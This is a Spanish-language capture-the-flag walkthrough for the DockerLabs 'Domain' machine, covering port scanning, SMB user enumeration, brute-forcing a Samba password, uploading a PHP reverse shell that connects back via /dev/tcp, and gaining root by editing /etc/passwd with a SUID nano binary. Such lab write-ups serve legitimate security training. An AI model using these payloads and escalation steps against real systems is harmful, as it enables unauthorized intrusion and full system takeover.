> For the complete documentation index, see [llms.txt](https://novahacking.gitbook.io/anonymous17/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://novahacking.gitbook.io/anonymous17/ctf/dockerlabs/domain.md).

# Domain

<details>

<summary>Datos</summary>

* **Máquina** -> Domain
* **Dificultad** -> Medio
* **Creador** -> [El Pingüino de Mario](https://www.youtube.com/channel/UCGLfzfKRUsV6BzkrF1kJGsg)

</details>

Como primer punto, luego de desplegar el laboratorio, debemos verificar conectividad con la máquina víctima, usando el comando `ping`.

```bash
ping -c 1 172.17.0.2 -R
```

<mark style="color:green;">**Resultado**</mark>

```bash
PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.114 ms
RR: 	172.17.0.1
	172.17.0.2
	172.17.0.2
	172.17.0.1

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.114/0.114/0.114/0.000 ms
```

Como podemos ver en la salida, el `ttl` de la máquina es 64 por lo cual podemos intuir que estamos frente a una máquina **Linux**, ahora después de crear nuestras carpetas de trabajo usando `mkt` y sabiendo que tenemos conexión podemos ejecutar un escaneo básico con nuestra herramienta escrita en **Python** de la siguiente manera:

```bash
PortScanner -i 172.17.0.2 -t 1000 -s 2 -a V C
```

<mark style="color:green;">**Resultado**</mark>

```js
[+] Autor: Anonymous17
[+] Targeted: 172.17.0.2
[+] (TTL -> 64): Linux
[!] Escaneo de puertos (socket):

  [!] Puerto 80 abierto!
  [!] Puerto 139 abierto!
  [!] Puerto 445 abierto!
  [+] Port: 1000 / 1000 

[+] Lista de puertos abiertos: [80, 139, 445]
[+] Información de servicios y versiones:

  [+] 80/tcp      http        Apache httpd 2.4.52 ((Ubuntu))
  [+] 139/tcp     netbi os-ssn Samba smbd 4
  [+] 445/tcp     netbi os-ssn Samba smbd 4

[+] Comprobando vulnerabilidades:

  [+] Tecnologías detectadas en HTTP:

        http://172.17.0.2:80 [200 OK] Apache[2.4.52],
        Country[RESERVED][ZZ],
        HTML5,
        HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)],
        IP[172.17.0.2],
        Title[¿Qué es Samba?],

[*] Evidencia guardada en output.txt
```

Vemos 3 puertos abiertos, al parecer nos enfrentaremos a **Samba**, aun así podemos escanear los puertos con `nmap` y ver información más detallada.

```bash
nmap -p- --open -sS --min-rate 5000 -n -Pn 172.17.0.2 -oG allPorts.txt
```

<mark style="color:green;">**Resultado**</mark>

```js
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-30 12:56 EST
Nmap scan report for 172.17.0.2
Host is up (0.0000030s latency).
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 02:42:AC:11:00:02 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.65 seconds
```

Ahora extraemos la información más relevante.

```js
extractPorts allPorts.txt 
```

<mark style="color:green;">**Resultado**</mark>

```js
───────┬──────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼──────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 172.17.0.2
   5   │     [*] Open ports: 80,139,445
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴──────────────────────────────────────────────────────────────
```

Ahora procedemos a hacer un escaneo más profundo con `nmap`.

```bash
nmap -p 80,139,445 -sCV 172.17.0.2 -oN targeted.txt
```

<mark style="color:green;">**Resultado**</mark>

```js
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-30 12:59 EST
Nmap scan report for buffered.dl (172.17.0.2)
Host is up (0.000028s latency).

PORT    STATE SERVICE     VERSION
80/tcp  open  http        Apache httpd 2.4.52 ((Ubuntu))
|_http-title: \xC2\xBFQu\xC3\xA9 es Samba?
|_http-server-header: Apache/2.4.52 (Ubuntu)
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4
MAC Address: 02:42:AC:11:00:02 (Unknown)

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-01-30T17:59:42
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.15 seconds
```

Si vemos la pagina web encontraremos lo siguiente:

<figure><img src="/files/wJkAVToWduuXRSWY5a7L" alt=""><figcaption></figcaption></figure>

Información sobre que es **Samba** así que pasaremos a ver que información útil podemos encontrar en **Samba**:

<figure><img src="/files/kM0jrUmlNxp8wTbmlvME" alt=""><figcaption></figcaption></figure>

No vemos nada útil, vemos los recursos compartidos pero lo más probable que necesites mínimo un usuario para enumerar más cosas, ahora pasemos a usar `rpcclient` para ver que conseguimos.

<figure><img src="/files/HXTKKwK3tbMKLsec1Zkl" alt=""><figcaption></figcaption></figure>

Como podemos ver la herramienta `rpcclient` si logro extraernos usuarios del sistema:

* **james**
* **bob**

Aunque es verdad que aún nos falta las credenciales de ellos, pero podemos intentar conseguir sus contraseñas mediante fuerza bruta, en este caso usaremos `msfconsole`:

<figure><img src="/files/H3x7fTDQXuBpq9BpaoKN" alt=""><figcaption></figcaption></figure>

Lo configuraríamos del siguiente modo:

<figure><img src="/files/h3hHBpmecDjaulfG6Gtn" alt=""><figcaption></figcaption></figure>

Ahora simplemente ejecutamos usando `run` y esperamos.

<figure><img src="/files/eZtW2DaWavQxC9YTSXzj" alt=""><figcaption></figcaption></figure>

Y después de un rato vemos que logramos romper la contraseña de **bob** que es **star**, ahora lo que podríamos hacer es usar `smbmap` de la siguiente manera:

<figure><img src="/files/OcHhveF3uC7M2VeQqKRY" alt=""><figcaption></figcaption></figure>

Ahora si podemos ver qué cosas puede el usuario **bob** editar y ver, ejemplo el recurso compartido `html`, podemos enumerarlo de la siguiente manera:

<figure><img src="/files/3HMvtlOsQkSI7wMalJ8j" alt=""><figcaption></figcaption></figure>

Encontramos un `index.html` que debe ser el cual vemos en la pagina web, también debemos tener en cuenta que esta pagina web soporta `php`, por lo cual teniendo permisos de escritura podemos subir una \[\[Reverse Shells]] de la siguiente manera:

<mark style="color:yellow;">**Contenido de rshell.php**</mark>

{% code lineNumbers="true" %}

```php
<?php
system("/bin/bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'");
?>
```

{% endcode %}

<figure><img src="/files/WjXxe5w4hRIHFfwbFCUc" alt=""><figcaption></figcaption></figure>

Podemos verificar que se subió correctamente con `smbmap`:

<figure><img src="/files/PgvaNhGDJE55Bh0HMjy6" alt=""><figcaption></figcaption></figure>

Vemos que se subió correctamente por lo cual podemos ponernos en escucha en el puerto **4444** y acceder desde la web a `http://172.17.0.2/rshell.php`, podremos ver lo siguiente.

<figure><img src="/files/7ct1NRYb0fFY7mY55Fla" alt=""><figcaption></figcaption></figure>

Le daremos un Tratamiento a la **TTY** como ya es costumbre:

```bash
www-data@ec127a5c798d:/var/www/html$ script /dev/null -c bash # shell victima
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@ec127a5c798d:/var/www/html$ ^Z         # shell victima -> Ctrl + Z
[1]  + 3363322 suspended  nc -nlvp 4444
--> exploitDB stty raw -echo;fg                 # En nuestra shell
[1]  + 3363322 continued  nc -nlvp 4444
										reset xterm # Receteamos la terminal
```

Luego si queremos una terminal con colores podemos usar el siguiente comando:

```bash
stty rows 46 cols 168 && export TERM=xterm-256color SHELL=bash && source /etc/skel/.bashrc
```

En `stty rows 46 cols 168` deben poner el resultado que les devuelva este comando a ustedes.

```bash
stty size
```

En mi caso -> `45 166`

Si enumeramos un poco internamente, vemos los 2 usuarios que vimos en **smb** también nos podemos migrar al usuario **bob**, el cual tiene como contraseña **star**.

```js
www-data@ec127a5c798d:/var/www/html$ cd /home/
www-data@ec127a5c798d:/home$ ls
bob  james
www-data@ec127a5c798d:/home$ su bob
Password: 
bob@ec127a5c798d:/home$ whoami
bob
bob@ec127a5c798d:/home$ 
```

No tenemos `sudo` instalado, así que pasamos pasar a buscar archivos **SUID**.

```bash
find / -perm -4000 -user root 2>/dev/null | xargs ls -l
```

<mark style="color:green;">**Resultado**</mark>

```js
-rwsr-xr-x 1 root root        72712 Feb  6  2024 /usr/bin/chfn
-rwsr-xr-x 1 root root        44808 Feb  6  2024 /usr/bin/chsh
-rwsr-xr-x 1 root root        72072 Feb  6  2024 /usr/bin/gpasswd
-rwsr-xr-x 1 root root        47480 Feb 21  2022 /usr/bin/mount
-rwsr-xr-x 1 root root       283144 Feb 19  2022 /usr/bin/nano
-rwsr-xr-x 1 root root        40496 Feb  6  2024 /usr/bin/newgrp
-rwsr-xr-x 1 root root        59976 Feb  6  2024 /usr/bin/passwd
-rwsr-xr-x 1 root root        55672 Feb 21  2022 /usr/bin/su
-rwsr-xr-x 1 root root        35192 Feb 21  2022 /usr/bin/umount
-rwsr-xr-- 1 root messagebus  35112 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
```

Y ya podemos ver un binario que nos llama la atención `nano`, no es un binario que debe tener permisos **SUID**, por lo cual podemos usar este editor de texto con permisos de **root**, algo que podríamos hacer es quitarte la contraseña a **root** de la siguiente manera:

<mark style="color:green;">**Ejecutamos**</mark>

```js
/usr/bin/nano /etc/passwd
```

Dentro, quitamos la `x` después del primer `root:`, quedando de la siguiente manera.

```js
root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
```

Luego guardamos con **Ctrl + o** luego **Enter** y salimos. Por último podemos ejecutar `su root` y listo:

```js
bob@ec127a5c798d:~$ /usr/bin/nano /etc/passwd
bob@ec127a5c798d:~$ su root
root@ec127a5c798d:/home/bob# whoami
root
root@ec127a5c798d:/home/bob# id
uid=0(root) gid=0(root) groups=0(root)
root@ec127a5c798d:/home/bob# cd
root@ec127a5c798d:~# 
```

Con esto ya logramos vulnerar la maquina **domain** de la plataforma **DockerLabs**.
